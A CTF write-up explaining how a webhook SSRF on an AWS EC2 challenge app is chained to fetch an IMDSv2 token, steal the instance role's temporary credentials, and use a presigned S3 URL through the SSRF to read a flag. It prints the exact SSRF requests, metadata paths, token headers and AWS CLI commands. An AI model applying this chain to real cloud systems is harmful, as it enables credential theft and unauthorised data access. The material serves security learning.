August 6, 2026
AWS Cloud Security Challenge: SSRF, IMDSv2, and Cloud Takeover
Hey everyone, It's been a while, and I’m back with an interesting challenge this time. This challenge is from Fampay CTF, where we need to…

By Arun balaji
5 min read
Hey everyone, It's been a while, and I'm back with an interesting challenge this time. This challenge is from Fampay CTF, where we need to exploit a web application hosted on the cloud. Let's dive deep into the challenge now.
About The Challenge
By reading the challenge description, we can understand that a Monitoring Dashboard site is deployed on an AWS EC2 instance, and you can also see that sensitive data is stored in an S3 bucket, which clearly hint about the flag.
What is an AWS EC2 instance?
An AWS Elastic Compute (EC2) is a service provided by Amazon Web Services (AWS) that can be used to run virtual servers, known as instances. In simple terms, EC2 instances are Pre-configured or custom virtual computers where you choose the operating system (like Linux or Windows), CPU power, memory, and storage.
What is an S3 Bucket?
An AWS S3 (Simple Storage Service) is a highly scalable, cloud-based object storage service provided by Amazon Web Services (AWS). Think of it as an incredibly reliable, serverless hard drive in the cloud designed for applications and software.
Let's Start Hacking now
We start the challenge by spinning up the instance generator, which returns an IP address (3.109.62.235). Using it, we can access the website where APIs are listed because debug_endpoints is set to True. I have listed the useful api endpoints below:
GET /metrics/config
GET,POST,PUT /internal/webhook?url=<urlhere>
GET /statusGET /metrics/config
GET,POST,PUT /internal/webhook?url=<urlhere>
GET /statusFinding 1 — Config Leak at /metrics/config
The /metrics/config endpoint reveals some important details,
- IMDS endpoint exposed (
http://169.254.169.254/latest/meta-data/iam/security-credentials/) — confirms the app runs on an EC2 instance and reveals the exact path needed to pull instance role credentials via SSRF, which is the likely next step in the chain. - IAM credentials scoped to storage prefix only — tells you the instance role is restricted, so exploitation likely has to work within the
players/209prefix rather than the whole bucket. - S3 bucket name and prefix disclosed -
fam-ctf-cloud-challenge, prefixplayers/209 - Bucket access restricted to VPC-originating requests — indicates a bucket policy with a
aws:SourceVpcor VPC endpoint condition, meaning stolen credentials likely won't work from outside the VPC. we need to proxy requests through the SSRF path itself.
Finding 2 — SSRF via /internal/webhook?url
This endpoint fetches and returns the content of any URL supplied via the url parameter..
Example: if we just sent a GET request to /internal/webhook/?url=google.com, it simply returns the HTML content of google.com.
Interesting, right? We can leverage this feature to exploit a Server Side Request Forgery (SSRF) vulnerability. A classic CTF-style SSRF endpoint.
So, I started testing this endpoint by supplying the site's internal IP, which is found in the /status endpoint, the internal EC2 hostname:
url=http://ec2-10-20-1-57.ap-south-1.compute.amazonaws.com/metrics/configurl=http://ec2-10-20-1-57.ap-south-1.compute.amazonaws.com/metrics/configFound that the webhook successfully fetched content from an internal-only EC2 hostname, confirming the request was being made from within the VPC, which is significant, since Finding 1 showed the S3 bucket only accepts requests originating from inside the VPC.
Chaining the Two: What's Next
Now that we've confirmed SSRF is possible, the next step is retrieving the flag from the S3 bucket. We already know the bucket name and prefix from Finding 1, but access is restricted to requests from within the VPC and to an IAM role scoped to that prefix. Since our SSRF gives us a way to make requests from inside the VPC, the missing piece is AWS credentials (access key, secret key, session token) — which we can try to obtain via the instance metadata service (IMDS) through the same SSRF vector, then configure the AWS CLI to use them.
What is IMDS?
IMDS in AWS stands for Instance Metadata Service, a local tool that lets virtual servers (EC2 instances) find data about themselves. It provides details like instance IDs, local IP addresses, user data, and temporary security credentials without needing hardcoded passwords
Difference Between IMDSv1 and IMDSv2
IMDSv1 let anyone make a simple GET request to
169.254.169.254and get the AWS credentials back. That meant any basic SSRF (even one that only supports GET) could steal credentials, because the attacker just needed the app to fetch a URL.
IMDSv2 fixes this by requiring a session token first. Then you must include that token as a custom HTTP header (
X-aws-ec2-metadata-token) on the actual metadata GET request. This defeats simple SSRF because most naive SSRF endpoints only let you control the URL and not the HTTP method or headers.
Stealing AWS Credentials
In our case, IMDSv2 is being used, so a plain request to the metadata endpoint isn't enough to get the AWS credentials. We need to get the metadata token first by sending a PUT request to http://169.254.169.254/latest/api/token via the webhook along with a custom header X-aws-ec2-metadata-token-ttl-seconds :21600
PUT /internal/webhook?url=http://ec2-169-254-169-254.ap-south-1.compute.amazonaws.com/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds :21600PUT /internal/webhook?url=http://ec2-169-254-169-254.ap-south-1.compute.amazonaws.com/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds :21600
Now that we have the metadata token, we can use it to query /latest/meta-data/iam/security-credentials/ and enumerate the IAM role attached to the instance.
GET /internal/webhook?url=http://ec2-169-254-169-254.ap.south-1.compute.amazonaws.com/latest/meta-data/iam/secruity-credentials/
X-aws-ec2-metadata-token: AQAAAN3oEltbC894w@3hJQ_1J6LL6I0w2L3T4W9FvoXR@ShFHirD3g==
X-aws-ec2-metadata-token-ttl-seconds :21600GET /internal/webhook?url=http://ec2-169-254-169-254.ap.south-1.compute.amazonaws.com/latest/meta-data/iam/secruity-credentials/
X-aws-ec2-metadata-token: AQAAAN3oEltbC894w@3hJQ_1J6LL6I0w2L3T4W9FvoXR@ShFHirD3g==
X-aws-ec2-metadata-token-ttl-seconds :21600
This returned the role named ctf-cloud-player-209.Appending this role name to the same path (/latest/meta-data/iam/security-credentials/ctf-cloud-player-209) then returns the actual temporary AWS credentials (access key, secret key, and session token) for that role.
GET /internal/webhook?url=http://ec2-169-254-169-254.ap.south-1.compute.amazonaws.com/latest/meta-data/iam/secruity-credentials/ctf-cloud-player-209
X-aws-ec2-metadata-token: AQAAAN3oEltbC894w@3hJQ_1J6LL6I0w2L3T4W9FvoXR@ShFHirD3g==
X-aws-ec2-metadata-token-ttl-seconds :21600GET /internal/webhook?url=http://ec2-169-254-169-254.ap.south-1.compute.amazonaws.com/latest/meta-data/iam/secruity-credentials/ctf-cloud-player-209
X-aws-ec2-metadata-token: AQAAAN3oEltbC894w@3hJQ_1J6LL6I0w2L3T4W9FvoXR@ShFHirD3g==
X-aws-ec2-metadata-token-ttl-seconds :21600
Now that we have AWS credentials, we can configure the AWS CLI with aws configure command and try accessing the S3 bucket for the flag.
After configuring, let's verify whether our AWS CLI is properly configured or not using aws sts get-caller-identity command
# aws sts get-caller-identity
{
"UserId": "ARDAYLZKVQD4MWCDETVMI: 1-030c78db3a8980771",
"Account": "575078236408"
"Arn": "arn:aws:sts::575878236488:assumed-role/ctf-cloud-player-209/1-830c78db3a8986771*
}
# aws sts get-caller-identity
{
"UserId": "ARDAYLZKVQD4MWCDETVMI: 1-030c78db3a8980771",
"Account": "575078236408"
"Arn": "arn:aws:sts::575878236488:assumed-role/ctf-cloud-player-209/1-830c78db3a8986771*
}
This confirms that our AWS CLI is configured properly. Now I tried to access the S3 bucket directly from the CLI since we know the bucket name and prefix (check Finding 1).
# aws s3 ls s3://fam-ctf-cloud-challenge/players/209/
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied# aws s3 ls s3://fam-ctf-cloud-challenge/players/209/
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access DeniedBut I got an Access Denied error when accessing the S3 bucket directly. Recall from Finding 1 that bucket access is restricted to requests originating from within the VPC. Since the AWS CLI was running locally, the request didn't meet that condition. So I had another idea: we can generate a presigned S3 URL using the stolen credentials, then fetch it via the SSRF endpoint. Since the webhook makes its requests from inside the VPC, this should satisfy the network restriction and let us retrieve the flag.
Final Step: Presigned URL + SSRF
What is an S3 Presigned URL?
An Amazon S3 presigned URL is a temporary, secure link that grants limited-time access to specific S3 objects. It acts like a temporary key, allowing users to download or upload files without needing their own AWS account, IAM credentials, or public bucket access.
Generating a Presigned URL for the S3 bucket and assuming the flag is present in flag.txt
# PRESIGNED=$(aws s3 presign s3://fam-ctf-cloud-challenge/players/209/flag.txt -expires-in 300)
# echo $PRESIGNED# PRESIGNED=$(aws s3 presign s3://fam-ctf-cloud-challenge/players/209/flag.txt -expires-in 300)
# echo $PRESIGNED
Now we can pass this URL to our SSRF endpoint and try accessing the S3 bucket for the flag.
Hurray! We got the flag in the response FAM{cl0ud_ssrf_imds_22394b376fce}
And that's it for this challenge. Thanks for reading — I hope you enjoyed it. See you in the next write-up!